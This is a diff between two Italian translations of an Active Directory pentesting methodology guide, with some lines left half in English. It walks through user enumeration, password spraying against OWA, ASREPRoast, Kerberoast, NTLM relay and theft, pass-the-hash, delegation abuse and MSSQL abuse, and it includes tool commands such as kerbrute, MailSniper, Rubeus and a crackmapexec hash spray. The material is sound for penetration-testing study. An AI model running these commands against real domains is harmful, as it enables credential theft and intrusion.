+> La comunicazione Kerberos **richiede un nome completamente qualificato (FQDN)** per eseguire azioni. Se provi ad accedere a una macchina tramite l'indirizzo IP, **verrà usato NTLM e non Kerberos**.

-## Ricognizione Active Directory (senza credenziali/sessioni)
+## Recon Active Directory (No creds/sessions)

-Se hai accesso a un ambiente AD ma non disponi di credenziali/sessioni puoi:
+Se hai accesso a un ambiente AD ma non possiedi credenziali/sessioni potresti:

 - **Pentest the network:**
- Scansionare la rete, trovare macchine e porte aperte e cercare di **exploitare vulnerabilità** o **estrarre credenziali** da esse (ad esempio, [printers could be very interesting targets](ad-information-in-printers.md)).
- L'enumerazione del DNS può fornire informazioni su server chiave nel dominio come web, stampanti, condivisioni, vpn, media, ecc.
+- Scansionare la rete, trovare macchine e porte aperte e provare a **sfruttare vulnerabilità** o **estrarre credenziali** da esse (per esempio, [gli printer possono essere target molto interessanti](ad-information-in-printers.md)).
+- L'enumerazione del DNS può fornire informazioni sui server chiave nel dominio come web, printer, share, vpn, media, ecc.
 - `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
- Dai un'occhiata alla General [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) per trovare più informazioni su come farlo.
- **Controlla l'accesso null e Guest sui servizi smb** (questo non funzionerà sulle versioni moderne di Windows):
+- Dai un'occhiata alla General [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) per trovare più informazioni su come fare questo.
+- **Controllare l'accesso null e Guest sui servizi smb** (questo non funzionerà su versioni moderne di Windows):
 - `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
 - `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
 - `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
@ -59,9 +59,9 @@ Se hai accesso a un ambiente AD ma non disponi di credenziali/sessioni puoi:
 ../../network-services-pentesting/pentesting-smb/
 {{#endref}}

- **Enumerare LDAP**
+- **Enumerare Ldap**
 - `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
- Una guida più dettagliata su come enumerare LDAP può essere trovata qui (presta **particolare attenzione all'accesso anonimo**):
+- Una guida più dettagliata su come enumerare LDAP può essere trovata qui (presta **speciale attenzione all'accesso anonimo**):


 {{#ref}}
@ -69,21 +69,21 @@ Se hai accesso a un ambiente AD ma non disponi di credenziali/sessioni puoi:
 {{#endref}}

 - **Avvelenare la rete**
- Raccogliere credenziali [**impersonating services with Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- Accedere agli host [**abusing the relay attack**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- Raccogliere credenziali **esponendo** [**fake UPnP services with evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
+- Raccogliere credenziali **spacciandosi per servizi con Responder** (../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
+- Accedere agli host **abusando del relay attack** (../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
+- Raccogliere credenziali **esponendo** servizi UPnP falsi con **evil-S** (../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
 - [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
- Estrarre username/nomi da documenti interni, social media, servizi (soprattutto web) all'interno degli ambienti di dominio e anche da risorse pubblicamente disponibili.
- Se trovi i nomi completi dei dipendenti, puoi provare diverse convenzioni per gli username AD ([**read this**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Le convenzioni più comuni sono: _NameSurname_, _Name.Surname_, _NamSur_ (3 lettere di ciascuno), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _random letters and 3 random numbers_ (abc123).
- Tools:
+- Estrarre username/nomi da documenti interni, social media, servizi (soprattutto web) all'interno degli ambienti di dominio e anche da quelli pubblicamente disponibili.
+- Se trovi i nomi completi dei lavoratori dell'azienda, puoi provare diverse convenzioni di username AD (**read this**)(https://activedirectorypro.com/active-directory-user-naming-convention/). Le convenzioni più comuni sono: _NameSurname_, _Name.Surname_, _NamSur_ (3 lettere di ciascuno), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _lettere a caso e 3 numeri a caso_ (abc123).
+- Strumenti:
 - [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
 - [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)

-### Enumerazione utenti
+### User enumeration

 - **Anonymous SMB/LDAP enum:** Controlla le pagine [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) e [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
- **Kerbrute enum**: Quando viene richiesta una username non valida il server risponderà con il codice di errore Kerberos _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, permettendoci di determinare che lo username era invalido. Gli username **validi** restituiranno o il **TGT in a AS-REP** response o l'errore _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicando che all'utente è richiesta la pre-authentication.
- **No Authentication against MS-NRPC**: Usando auth-level = 1 (No authentication) contro l'interfaccia MS-NRPC (Netlogon) sui domain controllers. Il metodo chiama la funzione `DsrGetDcNameEx2` dopo il bind dell'interfaccia MS-NRPC per verificare se l'utente o il computer esiste senza alcuna credenziale. Lo strumento [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) implementa questo tipo di enumerazione. The research can be found [here](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
+- **Kerbrute enum**: Quando viene richiesta una **username non valida** il server risponderà usando il codice di errore **Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, permettendoci di determinare che lo username era invalido. Gli **username validi** restituiranno o il **TGT in un AS-REP** oppure l'errore _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicando che all'utente è richiesta la pre-autenticazione.
+- **No Authentication against MS-NRPC**: Usando auth-level = 1 (No authentication) contro l'interfaccia MS-NRPC (Netlogon) sui domain controller. Il metodo invoca la funzione `DsrGetDcNameEx2` dopo aver fatto il bind dell'interfaccia MS-NRPC per verificare se l'utente o il computer esiste senza alcuna credenziale. Lo strumento [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) implementa questo tipo di enumerazione. La ricerca può essere trovata [qui](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
 ```bash
 ./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases

@ -97,7 +97,7 @@ python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/Nau
 ```
 - **OWA (Outlook Web Access) Server**

-Se trovi uno di questi server nella rete puoi anche eseguire **user enumeration** su di esso. Ad esempio, puoi usare lo strumento [**MailSniper**](https://github.com/dafthack/MailSniper):
+Se trovi uno di questi server nella rete puoi anche eseguire **user enumeration** contro di esso. Ad esempio, puoi usare lo strumento [**MailSniper**](https://github.com/dafthack/MailSniper):
 ```bash
 ipmo C:\Tools\MailSniper\MailSniper.ps1
 # Get info about the domain
@ -110,17 +110,17 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
 Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
 ```
 > [!WARNING]
-> Puoi trovare elenchi di username in [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names)  e in quest'altro ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)).
+> Puoi trovare liste di usernames in [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names)  e in questo ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)).
 >
-> Tuttavia, dovresti avere i **nome delle persone che lavorano nell'azienda** dalla fase di recon che avresti dovuto eseguire prima. Con nome e cognome puoi usare lo script [**namemash.py**](https://gist.github.com/superkojiman/11076951) per generare potenziali username validi.
+> Tuttavia, dovresti avere il **nome delle persone che lavorano in azienda** dalla fase di recon che avresti dovuto eseguire prima. Con nome e cognome puoi usare lo script [**namemash.py**](https://gist.github.com/superkojiman/11076951) per generare potenziali usernames validi.

 ### Knowing one or several usernames

-Ok, quindi sai di avere già uno username valido ma nessuna password... Prova allora:
+Ok, quindi sai già di avere un username valido ma nessuna password... Prova:

- [**ASREPRoast**](asreproast.md): Se un utente **non ha** l'attributo _DONT_REQ_PREAUTH_ puoi **richiedere un messaggio AS_REP** per quell'utente che conterrà alcuni dati criptati da una derivazione della password dell'utente.
- [**Password Spraying**](password-spraying.md): Proviamo le **password più comuni** con ciascuno degli utenti scoperti, magari qualche utente usa una password debole (keep in mind the password policy!).
- Nota che puoi anche **spray OWA servers** per provare ad ottenere accesso ai server mail degli utenti.
+- [**ASREPRoast**](asreproast.md): Se un utente **non ha** l'attributo _DONT_REQ_PREAUTH_ puoi **richiedere un AS_REP message** per quell'utente che conterrà alcuni dati criptati con una derivazione della password dell'utente.
+- [**Password Spraying**](password-spraying.md): Prova le password più **comuni** con ciascuno degli utenti scoperti, magari qualche utente usa una password debole (tieni presente la password policy!).
+- Nota che puoi anche **spray OWA servers** per provare a ottenere accesso alle caselle mail degli utenti.


 {{#ref}}
@ -129,7 +129,7 @@ password-spraying.md

 ### LLMNR/NBT-NS Poisoning

-Potresti essere in grado di **ottenere** alcuni challenge **hash** da crackare avvelenando alcuni protocolli della **network**:
+Potresti essere in grado di **ottenere** alcuni challenge **hashes** da crackare avvelenando alcuni protocolli della **rete**:


 {{#ref}}
@ -138,22 +138,22 @@ Potresti essere in grado di **ottenere** alcuni challenge **hash** da crackare a

 ### NTLM Relay

-Se sei riuscito a enumerare l'Active Directory avrai **più email e una migliore comprensione della network**. Potresti essere in grado di forzare NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) per ottenere accesso all'ambiente AD.
+Se sei riuscito a enumerare Active Directory avrai **più email e una migliore comprensione della rete**. Potresti riuscire a forzare NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) per ottenere accesso all'ambiente AD.

 ### Steal NTLM Creds

-Se puoi **accedere ad altri PC o share** con l'**utente null o guest** potresti **piazzare file** (come un file SCF) che se in qualche modo vengono aperti innescheranno un'autenticazione NTLM verso di te così potrai **rubare** la **NTLM challenge** per crackarla:
+Se puoi **accedere ad altri PC o share** con l'**account null o guest** potresti **posizionare file** (come un file SCF) che se in qualche modo vengono aperti **scatenano un'autenticazione NTLM verso di te**, così puoi **rubare** il **NTLM challenge** per crackarlo:


 {{#ref}}
 ../ntlm/places-to-steal-ntlm-creds.md
 {{#endref}}

-## Enumerazione di Active Directory CON credenziali/sessione
+## Enumerating Active Directory WITH credentials/session

-Per questa fase devi aver **compromesso le credenziali o una sessione di un account di dominio valido.** Se hai credenziali valide o una shell come utente di dominio, **ricorda che le opzioni indicate prima sono ancora valide per compromettere altri utenti**.
+Per questa fase è necessario aver **compromesso le credenziali o una sessione di un account di dominio valido.** Se hai delle credenziali valide o una shell come domain user, **ricorda che le opzioni date prima sono ancora valide per compromettere altri utenti**.

-Prima di iniziare l'enumerazione autenticata dovresti sapere qual è il **Kerberos double hop problem.**
+Prima di iniziare l'enumerazione autenticata dovresti conoscere qual è il **Kerberos double hop problem.**


 {{#ref}}
@ -162,15 +162,15 @@ kerberos-double-hop-problem.md

 ### Enumeration

-Avere compromesso un account è un **grande passo per iniziare a compromettere l'intero dominio**, perché sarai in grado di iniziare la **enumerazione di Active Directory:**
+Aver compromesso un account è un **grande passo per iniziare a compromettere l'intero dominio**, perché potrai avviare la **Active Directory Enumeration:**

-Per quanto riguarda [**ASREPRoast**](asreproast.md) ora puoi trovare ogni possibile utente vulnerabile, e per quanto riguarda [**Password Spraying**](password-spraying.md) puoi ottenere una **lista di tutti gli username** e provare la password dell'account compromesso, password vuote e nuove password promettenti.
+Per quanto riguarda [**ASREPRoast**](asreproast.md) ora puoi trovare tutti i possibili utenti vulnerabili, e per quanto riguarda [**Password Spraying**](password-spraying.md) puoi ottenere una **lista di tutti gli usernames** e provare la password dell'account compromesso, password vuote e nuove password promettenti.

 - Puoi usare il [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info)
- Puoi anche usare [**powershell for recon**](../basic-powershell-for-pentesters/index.html) che sarà più stealthier
+- Puoi anche usare [**powershell for recon**](../basic-powershell-for-pentesters/index.html) che sarà più stealthy
 - Puoi anche [**use powerview**](../basic-powershell-for-pentesters/powerview.md) per estrarre informazioni più dettagliate
- Un altro strumento fantastico per il recon in Active Directory è [**BloodHound**](bloodhound.md). Non è **molto stealthy** (a seconda dei metodi di raccolta che usi), ma **se non ti interessa** provarlo assolutamente. Trova dove gli utenti possono RDP, trova percorsi verso altri gruppi, ecc.
- **Altri strumenti automatici di enumerazione AD sono:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
+- Un altro strumento eccellente per il recon in Active Directory è [**BloodHound**](bloodhound.md). Non è **molto stealthy** (dipende dai metodi di collection che usi), ma **se non ti interessa** provarlo assolutamente. Trova dove gli utenti possono RDP, trova path verso altri gruppi, ecc.
+- **Altri tool automatici di enumerazione AD sono:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
 - [**DNS records of the AD**](ad-dns-records.md) poiché potrebbero contenere informazioni interessanti.
 - Uno **strumento con GUI** che puoi usare per enumerare la directory è **AdExplorer.exe** dalla suite **SysInternal**.
 - Puoi anche cercare nel database LDAP con **ldapsearch** per cercare credenziali nei campi _userPassword_ & _unixUserPassword_, o anche in _Description_. cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) per altri metodi.
@ -180,13 +180,13 @@ Per quanto riguarda [**ASREPRoast**](asreproast.md) ora puoi trovare ogni possib
 - [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
 - **Extracting all domain users**

-È molto facile ottenere tutti gli username del dominio da Windows (`net user /domain` ,`Get-DomainUser` o `wmic useraccount get name,sid`). In Linux, puoi usare: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` o `enum4linux -a -u "user" -p "password" <DC IP>`
+È molto facile ottenere tutti gli usernames di dominio da Windows (`net user /domain` ,`Get-DomainUser` o `wmic useraccount get name,sid`). In Linux, puoi usare: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` o `enum4linux -a -u "user" -p "password" <DC IP>`

-> Anche se questa sezione di Enumerazione sembra breve, è la più importante. Accedi ai link (soprattutto quelli di cmd, powershell, powerview e BloodHound), impara come enumerare un dominio e esercitati finché non ti senti a tuo agio. Durante un assessment, questo sarà il momento chiave per trovare la strada verso DA o per decidere che non si può fare nulla.
+> Anche se questa sezione Enumeration sembra breve, è la parte più importante di tutte. Accedi ai link (principalmente quelli di cmd, powershell, powerview e BloodHound), impara come enumerare un dominio e esercitati fino a sentirti a tuo agio. Durante un assessment, questo sarà il momento chiave per trovare la strada verso DA o per decidere che non si può fare nulla.

 ### Kerberoast

-Kerberoasting consiste nell'ottenere **TGS tickets** usati dai servizi legati ad account utente e nel crackare la loro cifratura—che si basa sulle password degli utenti—**offline**.
+Kerberoasting consiste nell'ottenere **TGS tickets** usati da servizi legati ad account utente e crackare la loro crittografia — che si basa sulle password degli utenti — **offline**.

 Maggiori dettagli in:

@ -197,17 +197,17 @@ kerberoast.md

 ### Remote connexion (RDP, SSH, FTP, Win-RM, etc)

-Una volta ottenute alcune credenziali potresti verificare se hai accesso a qualche **macchina**. A tal fine, puoi usare **CrackMapExec** per tentare di connetterti a vari server con diversi protocolli, in base alle tue scansioni di porte.
+Una volta ottenute delle credenziali puoi verificare se hai accesso a qualche **macchina**. A tal fine, puoi usare **CrackMapExec** per tentare connessioni su diversi server con protocolli differenti, in base alle tue scansioni porte.

 ### Local Privilege Escalation

-Se hai compromesso credenziali o una sessione come utente di dominio normale e hai **accesso** con questo utente a **qualsiasi macchina nel dominio** dovresti provare a trovare il modo di **escalare i privilegi localmente e saccheggiare credenziali**. Questo perché solo con privilegi di amministratore locale potrai **dumpare gli hash di altri utenti** in memoria (LSASS) e localmente (SAM).
+Se hai compromesso credenziali o una sessione come user di dominio e hai **accesso** con questo utente a **qualunque macchina nel dominio** dovresti cercare di scalare privilegi localmente e cercare credenziali. Questo perché solo con privilegi di amministratore locale potrai **dumpare gli hash di altri utenti** in memoria (LSASS) e localmente (SAM).

 C'è una pagina completa in questo libro su [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html) e una [**checklist**](../checklist-windows-privilege-escalation.md). Inoltre, non dimenticare di usare [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).

 ### Current Session Tickets

-È molto **improbabile** che tu trovi **tickets** nell'utente corrente che ti diano permessi per accedere a risorse inaspettate, ma potresti controllare:
+È molto **improbabile** che troverai **tickets** nell'utente corrente che ti diano permessi per accedere a risorse inaspettate, ma puoi comunque verificare:
 ```bash
 ## List all tickets (if not admin, only current user tickets)
 .\Rubeus.exe triage
@ -217,17 +217,17 @@ C'è una pagina completa in questo libro su [**local privilege escalation in Win
 ```
 ### NTLM Relay

-Se sei riuscito a enumerare Active Directory avrai **più email e una migliore comprensione della rete**. Potresti essere in grado di to force NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
+If you have managed to enumerate the Active Directory you will have **più email e una migliore comprensione della rete**. You might be able to to force NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**

 ### Cerca Creds in Computer Shares | SMB Shares

-Ora che hai delle credenziali di base dovresti verificare se puoi **trovare** file **interessanti condivisi all'interno dell'AD**. Potresti farlo manualmente ma è un compito molto noioso e ripetitivo (e lo è ancora di più se trovi centinaia di doc da controllare).
+Now that you have some basic credentials you should check if you can **trovare** any **interesting files being shared inside the AD**. You could do that manually but it's a very boring repetitive task (and more if you find hundreds of docs you need to check).

-[**Segui questo link per scoprire gli strumenti che potresti usare.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
+[**Follow this link to learn about tools you could use.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)

 ### Steal NTLM Creds

-Se puoi **accedere ad altri PC o shares** potresti **posizionare file** (come un SCF file) che se in qualche modo vengono aperti attiveranno un t**rigger an NTLM authentication against you** così potrai **steal** la **NTLM challenge** per crackarla:
+If you can **access other PCs or shares** you could **place files** (like a SCF file) that if somehow accessed will t**rigger an NTLM authentication against you** so you can **steal** the **NTLM challenge** to crack it:


 {{#ref}}
@ -236,32 +236,32 @@ Se puoi **accedere ad altri PC o shares** potresti **posizionare file** (come un

 ### CVE-2021-1675/CVE-2021-34527 PrintNightmare

-Questa vulnerabilità permetteva a qualsiasi utente autenticato di **compromettere il domain controller**.
+This vulnerability allowed any authenticated user to **compromise the domain controller**.


 {{#ref}}
 printnightmare.md
 {{#endref}}

-## Privilege escalation on Active Directory WITH privileged credentials/session
+## Escalation di privilegi su Active Directory CON privileged credentials/session

-**Per le tecniche seguenti un utente di dominio normale non è sufficiente, hai bisogno di privilegi/credenziali speciali per eseguire questi attacchi.**
+**Per le tecniche seguenti un utente di dominio normale non è sufficiente, serve qualche privilegio/credenziale speciale per eseguire questi attacchi.**

 ### Hash extraction

-Si spera tu sia riuscito a **compromettere qualche account local admin** usando [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) including relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
+Si spera che tu sia riuscito a **compromettere qualche account local admin** usando [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) including relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
 Poi, è il momento di estrarre tutti gli hash dalla memoria e localmente.\
-[**Leggi questa pagina sui diversi modi per ottenere gli hash.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
+[**Read this page about different ways to obtain the hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)

 ### Pass the Hash

-**Una volta che hai l'hash di un utente**, puoi usarlo per **impersonarlo**.\
-Devi usare qualche **tool** che esegua l'**autenticazione NTLM usando** quell'**hash**, **oppure** potresti creare un nuovo **sessionlogon** e **iniettare** quell'**hash** dentro il **LSASS**, così quando verrà eseguita qualsiasi **NTLM authentication**, quell'**hash** verrà usato. L'ultima opzione è quello che fa mimikatz.\
-[**Leggi questa pagina per più informazioni.**](../ntlm/index.html#pass-the-hash)
+**Once you have the hash of a user**, you can use it to **impersonate** it.\
+Devi usare qualche **tool** che esegua l'**NTLM authentication** usando quell'**hash**, **oppure** puoi creare un nuovo **sessionlogon** e **iniettare** quell'**hash** dentro **LSASS**, così quando verrà effettuata un'**NTLM authentication**, quell'**hash** sarà usato. L'ultima opzione è ciò che fa mimikatz.\
+[**Read this page for more information.**](../ntlm/index.html#pass-the-hash)

 ### Over Pass the Hash/Pass the Key

-Questo attacco mira a **usare l'hash NTLM dell'utente per richiedere ticket Kerberos**, come alternativa al comune Pass The Hash over NTLM protocol. Pertanto, questo può essere particolarmente **utile in reti dove il protocollo NTLM è disabilitato** e solo **Kerberos è consentito** come protocollo di autenticazione.
+This attack aims to **use the user NTLM hash to request Kerberos tickets**, as an alternative to the common Pass The Hash over NTLM protocol. Therefore, this could be especially **useful in networks where NTLM protocol is disabled** and only **Kerberos is allowed** as authentication protocol.


 {{#ref}}
@ -270,7 +270,7 @@ over-pass-the-hash-pass-the-key.md

 ### Pass the Ticket

-Nel metodo di attacco **Pass The Ticket (PTT)**, gli attaccanti **rubano il ticket di autenticazione di un utente** invece della sua password o dei suoi hash. Questo ticket rubato viene poi usato per **impersonare l'utente**, ottenendo accesso non autorizzato a risorse e servizi all'interno della rete.
+In the **Pass The Ticket (PTT)** attack method, attackers **steal a user's authentication ticket** instead of their password or hash values. This stolen ticket is then used to **impersonate the user**, gaining unauthorized access to resources and services within a network.


 {{#ref}}
@ -279,29 +279,29 @@ pass-the-ticket.md

 ### Credentials Reuse

-Se hai l'**hash** o la **password** di un **amministratore locale** dovresti provare a **accedere localmente** ad altri **PC** con quelle credenziali.
+If you have the **hash** or **password** of a **amministratore locale** you should try to **login locally** to other **PCs** with it.
 ```bash
 # Local Auth Spray (once you found some local admin pass or hash)
 ## --local-auth flag indicate to only try 1 time per machine
 crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
 ```
 > [!WARNING]
-> Nota che questo è piuttosto **rumoroso** e **LAPS** lo **mitigherebbe**.
+> Nota che questo è abbastanza **rumoroso** e **LAPS** lo **mitigherebbe**.

-### Abuso di MSSQL e Trusted Links
+### MSSQL Abuse & Trusted Links

-Se un utente ha i privilegi per **accedere alle istanze MSSQL**, potrebbe usare questo accesso per **eseguire comandi** sull'host MSSQL (se in esecuzione come SA), **rubare** l'**hash** NetNTLM o perfino effettuare un **relay attack**.\
-Inoltre, se un'istanza MSSQL è trusted (database link) da una diversa istanza MSSQL, se l'utente ha privilegi sul database trusted potrà **usare la relazione di trust per eseguire query anche nell'altra istanza**. Questi trust possono essere concatenati e a un certo punto l'utente potrebbe trovare un database mal configurato dove poter eseguire comandi.\
-**I collegamenti tra database funzionano anche attraverso forest trusts.**
+Se un utente ha privilegi per **access MSSQL instances**, potrebbe riuscire a usarle per **eseguire comandi** sull'host MSSQL (se in esecuzione come SA), **rubare** l'hash NetNTLM o perfino eseguire un **relay attack**.\
+Inoltre, se un'istanza MSSQL è trusted (database link) da una diversa istanza MSSQL, se l'utente ha privilegi sul database trusted potrà **usare la trust relationship per eseguire query anche nell'altra istanza**. Queste trust possono essere concatenate e ad un certo punto l'utente potrebbe trovare un database mal configurato dove può eseguire comandi.\
+**I link fra database funzionano anche attraverso forest trusts.**


 {{#ref}}
 abusing-ad-mssql.md
 {{#endref}}

-### Abuso di piattaforme per asset/deployment IT
+### IT asset/deployment platforms abuse

-Suite di inventory e deployment di terze parti spesso espongono percorsi potenti verso credenziali ed esecuzione di codice. Vedi:
+Le suite di inventory e deployment di terze parti spesso espongono percorsi potenti verso credenziali e code execution. Vedi:

 {{#ref}}
 sccm-management-point-relay-sql-policy-secrets.md
@ -313,9 +313,9 @@ lansweeper-security.md

 ### Unconstrained Delegation

-Se trovi un oggetto Computer con l'attributo [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) e hai privilegi di dominio sulla macchina, potrai dumpare i TGTs dalla memoria di ogni utente che effettua il login sulla macchina.\
-Quindi, se un **Domain Admin effettua il login sulla macchina**, potrai dumpare il suo TGT e impersonarlo usando [Pass the Ticket](pass-the-ticket.md).\
-Grazie al constrained delegation potresti persino **compromettere automaticamente un Print Server** (si spera che sia un DC).
+Se trovi un qualsiasi oggetto Computer con l'attributo [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) e hai privilegi di dominio sul computer, sarai in grado di dumpare i TGT dalla memoria di tutti gli utenti che effettuano il login sul computer.\
+Quindi, se un **Domain Admin** accede al computer, potrai dumpare il suo TGT e impersonarlo usando [Pass the Ticket](pass-the-ticket.md).\
+Grazie al constrained delegation potresti perfino **compromettere automaticamente un Print Server** (si spera che sia un DC).


 {{#ref}}
@ -324,8 +324,8 @@ unconstrained-delegation.md

 ### Constrained Delegation

-Se un utente o computer è autorizzato per la "Constrained Delegation" sarà in grado di **impersonare qualsiasi utente per accedere ad alcuni servizi su una macchina**.\
-Poi, se **comprometti l'hash** di questo utente/computer sarai in grado di **impersonare qualsiasi utente** (anche domain admins) per accedere ad alcuni servizi.
+Se a un utente o computer è permesso fare "Constrained Delegation" sarà in grado di **impersonare qualsiasi utente per accedere ad alcuni servizi su un computer**.\
+Poi, se **comprometti l'hash** di questo utente/computer sarai in grado di **impersonare qualsiasi utente** (anche Domain Admins) per accedere ad alcuni servizi.


 {{#ref}}
@ -334,7 +334,7 @@ constrained-delegation.md

 ### Resourced-based Constrain Delegation

-Avere il privilegio **WRITE** su un oggetto Active Directory di un computer remoto consente di ottenere l'esecuzione di codice con **privilegi elevati**:
+Avere il privilegio **WRITE** su un oggetto Active Directory di un computer remoto abilita l'ottenimento di code execution con **privilegi elevati**:


 {{#ref}}
@ -343,26 +343,26 @@ resource-based-constrained-delegation.md

 ### Permissions/ACLs Abuse

-L'utente compromesso potrebbe avere alcuni **privilegi interessanti su oggetti del dominio** che potrebbero permetterti di **muoverti lateralmente**/**escalare** privilegi.
+L'utente compromesso potrebbe avere alcuni **privilegi interessanti su oggetti di dominio** che potrebbero permetterti di **muoverti lateralmente** o **escalare privilegi** in seguito.


 {{#ref}}
 acl-persistence-abuse/
 {{#endref}}

-### Abuso del servizio Printer Spooler
+### Printer Spooler service abuse

-Scoprire un **servizio Spool in ascolto** all'interno del dominio può essere **abusato** per **acquisire nuove credenziali** e **escalare privilegi**.
+Scoprire un **Spool service in ascolto** all'interno del dominio può essere **abusato** per **acquisire nuove credenziali** ed **escalare privilegi**.


 {{#ref}}
 printers-spooler-service-abuse.md
 {{#endref}}

-### Abuso di sessioni di terze parti
+### Third party sessions abuse

-Se **altri utenti** **accedono** alla macchina **compromessa**, è possibile **raccogliere credenziali dalla memoria** e persino **iniettare beacon nei loro processi** per impersonarli.\
-Di solito gli utenti accedono al sistema via RDP, quindi qui trovi come eseguire un paio di attacchi su sessioni RDP di terzi:
+Se **altri utenti** **accedono** alla macchina **compromessa**, è possibile **raccogliere credenziali dalla memoria** e persino **iniettare beacons nei loro processi** per impersonarli.\
